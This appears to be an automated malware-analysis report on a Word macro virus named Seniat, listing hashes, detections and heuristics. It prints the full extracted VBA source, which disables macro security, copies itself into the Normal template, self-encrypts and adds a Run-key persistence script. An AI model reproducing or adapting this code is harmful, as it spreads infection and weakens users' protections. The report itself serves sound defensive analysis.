Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d2896ac6f24bda87…

MALICIOUS

Office (OLE)

31.5 KB Created: 2001-11-05 20:24:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 5e3ccef4f4d09a203be46f29e39702c3 SHA-1: d693c79a3986db0184682131d4766156716186f0 SHA-256: d2896ac6f24bda8737a930c84321338c06ed2171eb9645203a4ec93d1e358b70
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macro-virus markers and VBA macros, including an AutoOpen macro. The script attempts to establish persistence by copying a VBA component named 'Seniat' to the Normal template and the active document, and then uses wscript to execute it. This behavior is indicative of a macro-based malware dropper aiming for persistence.

Heuristics 8

  • ClamAV: Doc.Trojan.Seniat-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Seniat-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    If (Dir(Environ("WinDir") & "\wscript.exe") = "wscript.exe") Then
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Print #9, "Set wrd = CreateObject(""Word.Application"")"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    RutaVX = Environ("WinDir") & "\system\mswrdrv.vxd"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3306 bytes
SHA-256: 88115fbd744fd748b5dbea8e067c3fbff0f69046d285d546698c4957a79b4671
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Seniat"
'Enc
Private Sub Infe()
On Error Resume Next
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1
With Options: .VirusProtection = Not -1: .ConfirmConversions = Not -1: End With
With Application: .ScreenUpdating = Not -1: .DisplayStatusBar = Not -1: .DisplayAlerts = Not -1: End With
Set noA = Word.Application.NormalTemplate
Set doA = Word.Application.ActiveDocument
Set noB = noA.VBProject.VBComponents
Set doB = doA.VBProject.VBComponents
EnNormal = False: EnDocume = False
RutaVX = Environ("WinDir") & "\system\mswrdrv.vxd"
RutaBK = Environ("WinDir") & "\system\mswrdrv.sys.vbs"
For I = 1 To noB.Count
If (noB.Item(I).Name = "Seniat") Then EnNormal = True
Next
For I = 1 To doB.Count
If (doB.Item(I).Name = "Seniat") Then EnDocume = True
Next
If (EnNormal = False) Then
doB.Item("Seniat").Export (RutaVX)
noB.Import (RutaVX)
End If
If (EnDocume = False) Then
noB.Item("Seniat").Export (RutaVX)
doB.Import (RutaVX)
End If
If (Dir(Environ("WinDir") & "\wscript.exe") = "wscript.exe") Then
Open RutaBK For Output As #9
Print #9, "On Error Resume Next"
Print #9, "Set wrd = CreateObject(""Word.Application"")"
Print #9, "Presente = False"
Print #9, "For I = 1 To wrd.NormalTemplate.VBProject.VBComponents.Count"
Print #9, "If (wrd.NormalTemplate.VBProject.VBComponents.Item(I).Name = ""Seniat"") Then Presente = True"
Print #9, "Next"
Print #9, "If (Presente = False) Then wrd.NormalTemplate.VBProject.VBComponents.Import (""" & RutaVX & """)"
Print #9, "wrd.Quit"
Close #9
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Seniat") = RutaBK
End If
Randomize
ranx = Int(20 * Rnd + 1)
If (Day(Now) = 22) And (ranx = 10) Then
doA.Content = doA.Content & vbCrLf & vbCrLf & "-= Seniat Por LiteSYS/Xaker - Venezuela 2001 =-" & vbCrLf & "Seniat: corrupción tributaria en acción" & vbCrLf & "Aprendan a cobrar impuestos! Choros!"
End If
End Sub
Private Function cr(poc As String) As String: For I = 1 To Len(poc): mol = Asc(Mid(poc, I, 1)) Xor 30: noc$ = noc$ & Chr(mol): Next: cr = noc$: End Function
Private Function kr()
On Error Resume Next
Set vbObj = VBE.ActiveVBProject.VBComponents.Item("Seniat").CodeModule
Enc = False: Dec = False
If (vbObj.Lines(1, 1) = "'Enc") Then Enc = True
If (vbObj.Lines(1, 1) = "'Dec") Then Dec = True
For I = 3 To 45
ko$ = vbObj.Lines(I, 1)
If (Enc = True) Then ko = "'" & cr(ko)
If (Dec = True) Then ko = cr(Mid(ko, 2, Len(ko)))
vbObj.ReplaceLine I, ko
Next
If (Enc = True) Then vbObj.ReplaceLine 1, "'Dec"
If (Dec = True) Then vbObj.ReplaceLine 1, "'Enc"
End Function
Sub AutoOpen()
On Error Resume Next
Set vbObl = VBE.ActiveVBProject.VBComponents(1).CodeModule
If (vbObl.Lines(1, 1) = "'Dec") Then Call kr
Call Infe
Call kr
If (ActiveDocument.Saved = False) Then ActiveDocument.Save
End Sub
Sub ToolsMacro()
End Sub
Sub ViewVBCode()
End Sub
Sub FileTemplates()
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.